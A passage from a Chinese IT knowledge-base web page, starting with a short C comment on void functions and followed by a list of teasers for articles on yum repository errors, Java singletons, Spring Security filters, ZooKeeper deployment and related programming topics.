void g(void)	//函数名前面的void表示该函数没有返回值
{
	//return 10;	//error 与第8行行首的void相矛盾
}

in</div>
                                </li>
                                <li><a href="/article/2775.htm"
                                       title="今天在测试环境使用yum安装,遇到一个问题: Error: Cannot retrieve metalink for repository: epel. Pl" target="_blank">今天在测试环境使用yum安装,遇到一个问题: Error: Cannot retrieve metalink for repository: epel. Pl</a>
                                    <span class="text-muted">dcj3sjt126com</span>
<a class="tag" taget="_blank" href="/search/centos/1.htm">centos</a>
                                    <div>今天在测试环境使用yum安装,遇到一个问题: 
Error: Cannot retrieve metalink for repository: epel. Please verify its path and try again 
&nbsp; 
处理很简单,修改文件“/etc/yum.repos.d/epel.repo”, 将baseurl的注释取消, mirrorlist注释掉。即可。 
&n</div>
                                </li>
                                <li><a href="/article/2902.htm"
                                       title="单例模式" target="_blank">单例模式</a>
                                    <span class="text-muted">shuizhaosi888</span>
<a class="tag" taget="_blank" href="/search/%E5%8D%95%E4%BE%8B%E6%A8%A1%E5%BC%8F/1.htm">单例模式</a>
                                    <div>单例模式&nbsp;&nbsp;   &nbsp;&nbsp; 懒汉式 
public class RunMain {

	/**
	 * 私有构造
	 */
	private RunMain() {
	}
	
    /**
     * 内部类,用于占位,只有
     */
	private static class SingletonRunMain {
		priv</div>
                                </li>
                                <li><a href="/article/3029.htm"
                                       title="Spring Security(09)——Filter" target="_blank">Spring Security(09)——Filter</a>
                                    <span class="text-muted">234390216</span>
<a class="tag" taget="_blank" href="/search/Spring+Security/1.htm">Spring Security</a>
                                    <div>Filter 
目录 
1.1&nbsp;&nbsp;&nbsp;&nbsp; Filter顺序 
1.2&nbsp;&nbsp;&nbsp;&nbsp; 添加Filter到FilterChain 
1.3&nbsp;&nbsp;&nbsp;&nbsp; DelegatingFilterProxy 
1.4&nbsp;&nbsp;&nbsp;&nbsp; FilterChainProxy 
1.5</div>
                                </li>
                                <li><a href="/article/3156.htm"
                                       title="公司项目NODEJS实践0.1" target="_blank">公司项目NODEJS实践0.1</a>
                                    <span class="text-muted">逐行分析JS源代码</span>
<a class="tag" taget="_blank" href="/search/mongodb/1.htm">mongodb</a><a class="tag" taget="_blank" href="/search/nginx/1.htm">nginx</a><a class="tag" taget="_blank" href="/search/ubuntu/1.htm">ubuntu</a><a class="tag" taget="_blank" href="/search/nodejs/1.htm">nodejs</a>
                                    <div>&nbsp; 
一、前言 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;前端如何独立用nodeJs实现一个简单的注册、登录功能,是不是只用nodejs+sql就可以了?其实是可以实现,但离实际应用还有距离,那要怎么做才是实际可用的。 
&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;网上有很多nod</div>
                                </li>
                                <li><a href="/article/3283.htm"
                                       title="java.lang.Math" target="_blank">java.lang.Math</a>
                                    <span class="text-muted">liuhaibo_ljf</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a><a class="tag" taget="_blank" href="/search/Math/1.htm">Math</a><a class="tag" taget="_blank" href="/search/lang/1.htm">lang</a>
                                    <div>System.out.println(Math.PI); 
System.out.println(Math.abs(1.2)); 
System.out.println(Math.abs(1.2)); 
System.out.println(Math.abs(1)); 
System.out.println(Math.abs(111111111)); 
System.out.println(Mat</div>
                                </li>
                                <li><a href="/article/3410.htm"
                                       title="linux下时间同步" target="_blank">linux下时间同步</a>
                                    <span class="text-muted">nonobaba</span>
<a class="tag" taget="_blank" href="/search/ntp/1.htm">ntp</a>
                                    <div>今天在linux下做hbase集群的时候,发现hmaster启动成功了,但是用hbase命令进入shell的时候报了一个错误&nbsp; PleaseHoldException: Master is initializing,查看了日志,大致意思是说master和slave时间不同步,没办法,只好找一种手动同步一下,后来发现一共部署了10来台机器,手动同步偏差又比较大,所以还是从网上找现成的解决方</div>
                                </li>
                                <li><a href="/article/3537.htm"
                                       title="ZooKeeper3.4.6的集群部署" target="_blank">ZooKeeper3.4.6的集群部署</a>
                                    <span class="text-muted">roadrunners</span>
<a class="tag" taget="_blank" href="/search/zookeeper/1.htm">zookeeper</a><a class="tag" taget="_blank" href="/search/%E9%9B%86%E7%BE%A4/1.htm">集群</a><a class="tag" taget="_blank" href="/search/%E9%83%A8%E7%BD%B2/1.htm">部署</a>
                                    <div>ZooKeeper是Apache的一个开源项目,在分布式服务中应用比较广泛。它主要用来解决分布式应用中经常遇到的一些数据管理问题,如:统一命名服务、状态同步、集群管理、配置文件管理、同步锁、队列等。这里主要讲集群中ZooKeeper的部署。 
&nbsp; 
1、准备工作 
我们准备3台机器做ZooKeeper集群,分别在3台机器上创建ZooKeeper需要的目录。 
&nbsp; 
数据存储目录</div>
                                </li>
                                <li><a href="/article/3664.htm"
                                       title="Java高效读取大文件" target="_blank">Java高效读取大文件</a>
                                    <span class="text-muted">tomcat_oracle</span>
<a class="tag" taget="_blank" href="/search/java/1.htm">java</a>
                                    <div>  读取文件行的标准方式是在内存中读取,Guava 和Apache Commons IO都提供了如下所示快速读取文件行的方法:     Files.readLines(new File(path), Charsets.UTF_8);     FileUtils.readLines(new File(path));     这种方法带来的问题是文件的所有行都被存放在内存中,当文件足够大时很快就会导致</div>
                                </li>
                                <li><a href="/article/3791.htm"
                                       title="微信支付api返回的xml转换为Map的方法" target="_blank">微信支付api返回的xml转换为Map的方法</a>
                                    <span class="text-muted">xu3508620</span>
<a class="tag" taget="_blank" href="/search/xml/1.htm">xml</a><a class="tag" taget="_blank" href="/search/map/1.htm">map</a><a class="tag" taget="_blank" href="/search/%E5%BE%AE%E4%BF%A1api/1.htm">微信api</a>
                                    <div>举例如下: 
&lt;xml&gt; 
&nbsp;&nbsp; &lt;return_code&gt;&lt;![CDATA[SUCCESS]]&gt;&lt;/return_code&gt; 
&nbsp;&nbsp; &lt;return_msg&gt;&lt;![CDATA[OK]]&gt;&lt;/return_msg&gt; 
&nbsp;&nbsp; &lt;appid&gt;&lt</div>
                                </li>
                </ul>
            </div>
        </div>
    </div>

<div>
    <div class="container">
        <div class="indexes">
            <strong>按字母分类:</strong>
            <a href="/tags/A/1.htm" target="_blank">A</a><a href="/tags/B/1.htm" target="_blank">B</a><a href="/tags/C/1.htm" target="_blank">C</a><a
                href="/tags/D/1.htm" target="_blank">D</a><a href="/tags/E/1.htm" target="_blank">E</a><a href="/tags/F/1.htm" target="_blank">F</a><a
                href="/tags/G/1.htm" target="_blank">G</a><a href="/tags/H/1.htm" target="_blank">H</a><a href="/tags/I/1.htm" target="_blank">I</a><a
                href="/tags/J/1.htm" target="_blank">J</a><a href="/tags/K/1.htm" target="_blank">K</a><a href="/tags/L/1.htm" target="_blank">L</a><a
                href="/tags/M/1.htm" target="_blank">M</a><a href="/tags/N/1.htm" target="_blank">N</a><a href="/tags/O/1.htm" target="_blank">O</a><a
                href="/tags/P/1.htm" target="_blank">P</a><a href="/tags/Q/1.htm" target="_blank">Q</a><a href="/tags/R/1.htm" target="_blank">R</a><a
                href="/tags/S/1.htm" target="_blank">S</a><a href="/tags/T/1.htm" target="_blank">T</a><a href="/tags/U/1.htm" target="_blank">U</a><a
                href="/tags/V/1.htm" target="_blank">V</a><a href="/tags/W/1.htm" target="_blank">W</a><a href="/tags/X/1.htm" target="_blank">X</a><a
                href="/tags/Y/1.htm" target="_blank">Y</a><a href="/tags/Z/1.htm" target="_blank">Z</a><a href="/tags/0/1.htm" target="_blank">其他</a>
        </div>
    </div>
</div>
<footer id="footer" class="mb30 mt30">
    <div class="container">
        <div class="footBglm">
            <a target="_blank" href="/">首页</a> -
            <a target="_blank" href="/custom/about.htm">关于我们</a> -
            <a target="_blank" href="/search/Java/1.htm">站内搜索</a> -
            <a target="_blank" href="/sitemap.txt">Sitemap</a> -
            <a target="_blank" href="/custom/delete.htm">侵权投诉</a>
        </div>
        <div class="copyright">版权所有 IT知识库 CopyRight © 2000-2050 E-COM-NET.COM , All Rights Reserved.
<!--            <a href="https://beian.miit.gov.cn/" rel="nofollow" target="_blank">京ICP备09083238号</a><br>-->
        </div>
    </div>
</footer>
<!-- 代码高亮 -->
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shCore.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shLegacy.js"></script>
<script type="text/javascript" src="/static/syntaxhighlighter/scripts/shAutoloader.js"></script>
<link type="text/css" rel="stylesheet" href="/static/syntaxhighlighter/styles/shCoreDefault.css"/>
<script type="text/javascript" src="/static/syntaxhighlighter/src/my_start_1.js"></script>





</body>

</html>